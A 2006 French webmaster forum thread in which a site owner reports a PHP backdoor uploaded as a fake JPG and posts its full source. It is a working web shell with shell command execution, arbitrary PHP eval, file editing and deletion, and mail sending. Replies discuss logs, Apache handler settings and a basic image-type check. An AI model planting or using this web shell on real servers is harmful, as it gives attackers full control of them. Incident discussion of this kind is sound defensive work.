Messages: 14

Enregistré le: 10 Mar 2006

Message le Mer Mar 29, 2006 20:59

un mec a uploadé une image via mon formulaire pour l envoi d image :
mais il s agissait d un fichier php :

Backdoor PHP codée par rAidEn & LFL
Exploit include v1.0
Ce script permet d'exploiter une faille include ou une frame mal placée de type :
www.victime.com/index.php?page=http://e ... ckdoor.php , ou en tant que backdoor sur un serveur pour garder une porte d'entrée dérobée.

j'ai stoppé mon serveur.
que puis je regarder pour savoir ce qu il a fait ?
Haut
26 Réponses
Messages: 249

Enregistré le: 6 Fév 2004

Message le Mer Mar 29, 2006 21:17

tes logs apache
Haut
Messages: 3250

Enregistré le: 25 Aoû 2004

Message le Mer Mar 29, 2006 21:42

faudrait que tu nous fasse voir le code de ce fichier php, pour qu'on puisse s'en prémunir...
Haut
Messages: 1281

Enregistré le: 6 Aoû 2005

Message le Mer Mar 29, 2006 21:48

TOMHTML a écrit:faudrait que tu nous fasse voir le code de ce fichier php, pour qu'on puisse s'en prémunir...


Ouai, que ça serve à tout le monde...

Edit: en même temps, t'abuses si tu testes pas quel type de fichier on t'envoi...
Haut
Messages: 405

Enregistré le: 24 Mar 2003

Message le Mer Mar 29, 2006 21:53

Code: Tout sélectionner
Ce script permet d'exploiter une faille include ou une frame mal placée  publié dans The Hackademy Journal numéro 12

Tu a même le mail du créateur : raiden_cyb@hotmail.com
Haut
Messages: 14

Enregistré le: 10 Mar 2006

Message le Mer Mar 29, 2006 22:04

je test le fichier que j'upload.
il a uploadé un fichier jpg, qui etait en fait un code php

mais en appelant le fichier .jpg, cela n'a pas l'air d executer le php

voici le code
Code: Tout sélectionner
<?
print("<html><head><title>Backdoor PHP codée par rAidEn & LFL</title></head><body
bgcolor=\"white\" LINK=\"blue\" VLINK=\"blue\">");
print("<p align=\"center\"><font size=\"5\">Exploit include v1.0</font></p>");
print("<p>Ce script permet d'exploiter une faille include ou une frame mal placée de type :
www.victime.com/index.php?page=http://emplacement_de_la_backdoor.php , ou en tant que backdoor sur un serveur pour garder une porte d'entrée dérobée.<br><br>
<u>par rAidEn & LFL , article publié dans The Hackademy Journal numéro 12</u><br><br>Spécial greetz à : Crash_FR, MatraX, Elboras, papar0ot, Lostnoobs, Icarus, Xelory, L_Abbe, Daedel, DHS-team, Carlito, xdream_blue, redils,  IHC, Wanadobe.biz, #abyssal, #cod4, #hzv, #security-corp, #Revolsys, ...... et tout ceux que j'ai oublié & aussi et surtout à (feu)tim-team</p>");

/******Code source du système de remote*****/

$QS = $QUERY_STRING;
if(!stristr($QS, "separateur") && $QS!="") $QS .= "&separateur";
if(!stristr($QS, "separateur") && $QS=="") $QS .= "separateur";

/*pour les forms*********************************/
$tab = explode("&", $QS);
$i=0;
$remf = "";
while( $tab[$i] != "" && $tab[$i-1] != "separateur" )
{
    $temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]);
    eval("\$temp2=\${$temp};");
    $remf .= "<input type=hidden name=" . $temp . " value=" . "'" . $temp2
."'>\n";
    $i++;
}
/*
$temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]);
if($temp!="")
{
    eval("\$temp2=\${$temp};");
    $remf .= "<input type=hidden name=" . $temp . " value=" . "'" . $temp2
."'>\n";
}*/
/************************************************/


/*pour les links*********************************/
if($QS != "separateur")
    $reml = "?" . str_replace(strchr($QS, "&separateur"), "", $QS) .
"&separateur";
else $reml = "?$QS";
$adresse_locale = $reml;
/************************************************/




print("<hr>");
print("<a href=\"$adresse_locale&option=1\">Exécuter une commande dans un shell</a><br> <!-- utiliser exec($commande, $retour); -->");
print("<a href=\"$adresse_locale&option=2\">Exécuter du code PHP</a><br>");
print("<a href=\"$adresse_locale&option=3\">Lister un répertoires</a><br>");
print("<a href=\"$adresse_locale&option=4\">Gérer les fichiers</a><br>");
print("<a href=\"$adresse_locale&option=5\">Envoyer un mail</a><br>");
print("<a href=\"$adresse_locale&option=6\">Infos serveur</a><br>");
print("<a href=\"mailto:raiden_cyb@hotmail.com\">Contacter le créateur</a><br><hr>");


/* récupération des variables : la fonction $_REQUEST n'existant pas avant php 4.1.0, vous devrez alors commenter ces lignes */
$option = $_REQUEST["option"];
$rep =  $_REQUEST["rep"];
$nom =  $_REQUEST["nom"];
$option_file =  $_REQUEST["option_file"];
$cmd =  $_REQUEST["cmd"];
$code =  $_REQUEST["code"];
$msg =  $_REQUEST["msg"];
$option_mail =  $_REQUEST["option_mail"];
$destinataire =  $_REQUEST["destinataire"];
$sujet =  $_REQUEST["sujet"];
$message =  $_REQUEST["message"];

if($option == 1){
    print("<form action=\"?\"> $remf Commande : <input type=\"text\" name=\"cmd\"></form>");
    echo "<br> PS : peu de serveurs acceptent les commandes venant de PHP";
}

if($option == 2){
    print("<form action=\"?\"> $remf Code : <input type=\"text\" name=\"code\"></form>");
}

if($option == 3){
    print("<form action=\"?\"> $remf Répertoire à lister : <input type=\"text\" name=\"rep\"></form>");
    print("$rep");
}

if($option == 4){
    print("<br><form action=\"?\"> $remf");
    print("<br>Nom du fichier :<br><input type=text name=\"nom\">");
    print("<input type=hidden name=option value=$option>");
    print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"mkdir\" >Créer le
fichier");
    print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"edit\" >Éditer le
fichier");
    print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"del\" >Supprimer le
fichier");
    print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"read\" CHECKED>Lire le
fichier");
    print("<input type=submit value=Go>");
    print("</form>");
}


if($option == 5){
    print("<PRE><form action=\"?\"> $remf Destinataire : <input type=\"text\" name=\"destinataire\" size=\"80\">");
    print("<br>Provenance du mail : <input type=\"text\" name=\"provenance\" size=\"80\"><br>");
    print("Adresse de retour : <input type=\"text\" name=\"retour\" size=\"80\"><br>");
    print("Sujet : <input type=\"text\" name=\"sujet\" size=\"80\"><br>");
    print("Message : <input type=\"text\" name=\"message\"
size=\"80\"><br><input type=\"submit\" value=\"Envoyer\"></form></PRE>");
}

if($option == 6){
    echo"Nom du serveur : <a href=\"http://$SERVER_NAME\">$SERVER_NAME</a><br>
";
    echo"Adresse IP du serveur : <a href=\"http://$SERVER_ADDR\">$SERVER_ADDR</a><br> ";
    echo"Port utilisé par défault 80 : <font color=\"red\">$SERVER_PORT</font><br> ";
    echo"Mail de l' admin : <a href=\"mailto:$SERVER_ADMIN\">$SERVER_ADMIN</a><br><br>";
   
   
    echo"Racine du serveur : <font color=\"red\">$DOCUMENT_ROOT</font><br>";
    echo"Adresse menant à COMMAND.COM : <font color=\"red\">$COMSPEC</font><br>";
    echo"Path installé sur le serveur : <font color=\"red\">$PATH</font> <br>";
    echo"OS, SERVEUR, version PHP : <font color=\"red\">$SERVER_SOFTWARE</font><br><br>";
   
    echo"Version du protocole utilisé (HTTP) : <font color=\"red\">$SERVER_PROTOCOL</font><br>";
    echo"En-tête Accept du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT</font><br>";
    echo"En tête User_agent du protocole HTTP : <font color=\"red\">$HTTP_USER_AGENT</font><br>";
    echo"En-tête Accept-Charset du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_CHARSET</font><br> ";
    echo"En-tête Accept-Encoding du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_ENCODING</font><br> ";
    echo"En-tête Accept-Language du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_LANGUAGE</font><br> ";
    echo"En-tête Connection du protocole HTTP : <font color=\"red\">$HTTP_CONNECTION</font><br> ";
    echo"En-tête Host du protocole HTTP : <font color=\"red\">$HTTP_HOST</font><br><br>";
   
    echo"Version de CGI : <font color=\"red\">$GATEWAY_INTERFACE</font><br> ";
    echo"Version de récupération du form : <font color=\"red\">$REQUEST_METHOD</font><br> ";
    echo"Argument de l' adresse : <font color=\"red\">$QUERY_STRING</font> <br>";
    echo"Nom du script : <font color=\"red\">$SCRIPT_NAME</font><br> ";
    echo"Chemin du script : <font color=\"red\">$SCRIPT_FILENAME</font><br> ";
    echo"Adresse entière du script : <font color=\"red\">$REQUEST_URI
</font><br>";
}

/* Commande*******/
if($cmd != "")
{
    echo "{${passthru($cmd)}}<br>";
}
/* Commande*******/


/* Exécution de code PHP**********/
if($code != ""){
    $code = stripslashes($code);
    eval($code);
}
/* Execution de code PHP**********/


/* Listing de rep******************/
if($rep != "")
{
    if(strrchr($rep, "/") != "" ||  !stristr($rep, "/")) $rep .= "/";
    $dir=opendir($rep);
    while ($file = readdir($dir))
    {
           if (is_dir("$rep/$file") && $file!='.')
       {
              echo"<li><a href=\"$adresse_locale&rep=$rep$file\">(rep) $file
</a><br>\n";
       }elseif(is_file("$rep/$file"))
       {
              echo "<li>   <a
href=\"$adresse_locale&option_file=read&nom=$rep$file\">(file) $file</a> <a
href=\"$adresse_locale&option_file=del&nom=$rep$file\">del</a> <a
href=\"$adresse_locale&option_file=edit&nom=$rep$file\">edit</a><br>\n";
       }
    }
}
/* Listing de rep******************/


/* Gestion des fichiers*********************/
if($option_file == "mkdir" && $nom != "")
{
    $fp = fopen($nom, "w");
    fwrite($fp, stripslashes($msg));
    print("Fichier crée/modifié");
}

if($option_file == "read" && $nom != "")
{
    $fp = fopen($nom, "r");
    $file = fread($fp, filesize($nom));
    $file = htmlentities ($file, ENT_QUOTES);
    $file = nl2br($file);
    echo "<br>$file";
}

if($option_file == "del" && $nom != "")
{
    unlink($nom);
    print("Fichier effacé");
}

if($option_file == "edit" && $nom != "")
{
    $fp = fopen($nom, "r");
    $file = fread($fp, filesize($nom));
    $file = htmlentities ($file, ENT_QUOTES);
    echo "<form action=$adresse_locale> $remf";
    echo "<TEXTAREA COLS=80 rows=25 name=msg>$file</textarea>";
    echo "<input type=hidden name=option_file value=mkdir>";
    echo "<input type=hidden name=nom value=$nom>";
    echo "<br><input type=submit value=Go> PS : les fichiers trop longs ne passent po :(";
    echo "</form>";
}
/* Gestion des fichiers*********************/


/* Envoi de mails************************/
if(($destinataire != "" ) && ($sujet != "") && ($message != "")){
    $option_mail = "From: $provenance \n";
    $option_mail .= "Reply-to: $retour \n";
    $option_mail .= "X-Mailer: Mailer by rAidEn \n";
   
    mail($destinataire, $sujet, $message, $option_mail);
   
    print("Mail envoyé a : $destinataire ...");
}
/* Envoi de mails************************/

print("</body></html>");
/*print("<noscript><script=\"");*/
?>


Edit HawkEye_TpfH: Mise en forme [ code ] [ /code ]
Haut
Messages: 1281

Enregistré le: 6 Aoû 2005

Message le Mer Mar 29, 2006 22:18

antiflag a écrit:je test le fichier que j'upload.
il a uploadé un fichier jpg, qui etait en fait un code php

mais en appelant le fichier .jpg, cela n'a pas l'air d executer le php


Ah ok, je vois mieux ;-)

Mais, c'est normal qu'il n'execute pas le code du fichier en .jpg, car si tu ne modifie pas la config d'apache pour ça, tu peux pas!
Haut
Messages: 3251

Enregistré le: 11 Juil 2005

Message le Mer Mar 29, 2006 22:27

phpmikedu83 a écrit:Mais, c'est normal qu'il n'execute pas le code du fichier en .jpg, car si tu ne modifie pas la config d'apache pour ça, tu peux pas!

C'est à dire ?

C'est à quel niveau dans la config apache ?
Parce que par exemple l'extension php3 et php fonctionne...
Haut
Messages: 14

Enregistré le: 10 Mar 2006

Message le Mer Mar 29, 2006 22:27

donc pas de soucis ?
je peux voir qu'il peut essayer d envoyer des emails afin de s envoyer mes fichier php !
comment lire les logs d envoi d email ?
Haut
Messages: 1281

Enregistré le: 6 Aoû 2005

Message le Mer Mar 29, 2006 22:33

thierry8 a écrit:C'est à quel niveau dans la config apache ?
Parce que par exemple l'extension php3 et php fonctionne...

Ben dans la config des fichiers qui sont envoyés à l'interpréteur PHP, par défaut, tu as .phtml .pwml .php3 .php4 .php .php2 .inc

Tu peux en rajouter directement dans le httpd.conf ou tout simplement dans le fichier .htaccess pour forcer l'interprétation des fichiers .htm ou .html, par exemple...
Haut
Messages: 3251

Enregistré le: 11 Juil 2005

Message le Mer Mar 29, 2006 22:41

Dans le httpd.conf c'est quoi exactement ?

Car j'ai cela, mais uniquement pour le index:
DirectoryIndex at_domains_index.html index.html index.htm index.php index.php3
Haut
Messages: 1281

Enregistré le: 6 Aoû 2005

Message le Mer Mar 29, 2006 22:46

thierry8 a écrit:Dans le httpd.conf c'est quoi exactement ?

Car j'ai cela, mais uniquement pour le index:
DirectoryIndex at_domains_index.html index.html index.htm index.php index.php3


Et tu as aussi:

Code: Tout sélectionner
AddType application/x-httpd-php


entre des tas d'autres choses...
Haut
Messages: 14

Enregistré le: 10 Mar 2006

Message le Mer Mar 29, 2006 22:47

ou est stocker le log des emails envoyés sur mon serveur ?
pour etre sur qu il ne s'est envoyé...
Haut
Messages: 3251

Enregistré le: 11 Juil 2005

Message le Mer Mar 29, 2006 22:52

Merci phpmikedu83, mais chez moi cette ligne est bizarrement en commentaire... :?
Code: Tout sélectionner
#AddType application/x-httpd-php .php
Haut
Messages: 1281

Enregistré le: 6 Aoû 2005

Message le Mer Mar 29, 2006 22:56

thierry8 a écrit:Merci phpmikedu83, mais chez moi cette ligne est bizarrement en commentaire... :?
Code: Tout sélectionner
#AddType application/x-httpd-php .php


Tu m'intrigues, là...
Haut
Messages: 3251

Enregistré le: 11 Juil 2005

Message le Mer Mar 29, 2006 23:04

phpmikedu83 a écrit:
thierry8 a écrit:Merci phpmikedu83, mais chez moi cette ligne est bizarrement en commentaire... :?
Code: Tout sélectionner
#AddType application/x-httpd-php .php


Tu m'intrigues, là...

Je suis sous plesk...
mais le php fonctionne bien... :? :?
Modifié en dernier par thierry8 le Mer Mar 29, 2006 23:21, modifié 1 fois.
Haut
Messages: 249

Enregistré le: 6 Fév 2004

Message le Mer Mar 29, 2006 23:12

cette ligne y est forcément dans la config apache, mais peut etre en include dans un autre fichier de conf.
Haut
Messages: 3251

Enregistré le: 11 Juil 2005

Message le Mer Mar 29, 2006 23:17

spijoelx a écrit:cette ligne y est forcément dans la config apache, mais peut etre en include dans un autre fichier de conf.

Bah, ça fonctionne, c'est le principal ! ;)

Merci.
Si jamais, je veux en ajouter je fais bien cela:
AddType application/x-httpd-php .php .example

Ou faut-il ajouter une ligne par extension ?
Haut
Messages: 249

Enregistré le: 6 Fév 2004

Message le Mer Mar 29, 2006 23:18

thierry8 a écrit:
spijoelx a écrit:cette ligne y est forcément dans la config apache, mais peut etre en include dans un autre fichier de conf.

Bah, ça fonctionne, c'est le principal ! ;)

Merci.
Si jamais, je veux en ajouter je fais bien cela:
AddType application/x-httpd-php .php .example

une seule ligne avec les extensions qui se suivent en effet
Haut
Messages: 3251

Enregistré le: 11 Juil 2005

Message le Mer Mar 29, 2006 23:22

merci. :D
Haut
Messages: 1281

Enregistré le: 6 Aoû 2005

Message le Mer Mar 29, 2006 23:26

thierry8 a écrit:
spijoelx a écrit:cette ligne y est forcément dans la config apache, mais peut etre en include dans un autre fichier de conf.

Bah, ça fonctionne, c'est le principal ! ;)

Merci.
Si jamais, je veux en ajouter je fais bien cela:
AddType application/x-httpd-php .php .example

Ou faut-il ajouter une ligne par extension ?


Tu peux l'ajouter tout simplement dans le .htaccess du site où tu en as besoin ;-)
Haut
Messages: 578

Enregistré le: 28 Fév 2005

Message le Jeu Mar 30, 2006 0:48

je crois que je connais c'est une faille qui va recuperer ton cookies pour choper tes droits
Haut
Messages: 373

Enregistré le: 18 Oct 2004

Message le Jeu Mar 30, 2006 9:14

Oui, pour ce qui est du code, ça parrait un peu pipo tout de même, j'entends par là le code de hacker qui dit qu'il est un méchant code avec le mode d'emploi pour débutant ça fait pas sérieux tout de même ;oD !
Haut
Messages: 478

Enregistré le: 26 Juil 2005

Message le Jeu Mar 30, 2006 9:30

oui c'est clair !
Haut
Messages: 3250

Enregistré le: 25 Aoû 2004

Message le Jeu Mar 30, 2006 12:24

quand même violent le code... si tu ne vérifie pas tes formulaires.

voila ce qu'il te faut pour vérifier que c'est bien un JPG :
Code: Tout sélectionner
$size = @getimagesize($TonFichierJPG) or die("planté !");
if ( $size[2] != 2) echo "tout sauf un JPG ! Sale hacker ! ^^";
else echo "yesssssssss ! JPG ok";
Haut
Messages: 1281

Enregistré le: 6 Aoû 2005

Message le Jeu Mar 30, 2006 14:54

TOMHTML a écrit:tout sauf un JPG ! Sale hacker ! ^^


Radical, MDRRR :lol:
Haut
Messages: 3251

Enregistré le: 11 Juil 2005

Message le Jeu Mar 30, 2006 16:50

En envoyant en entête un header('***jpg***'); cela n'aurait-il pas pu contrecarer ta vérification ?

(encore faut-il que ce fichier soit interprété..)
Haut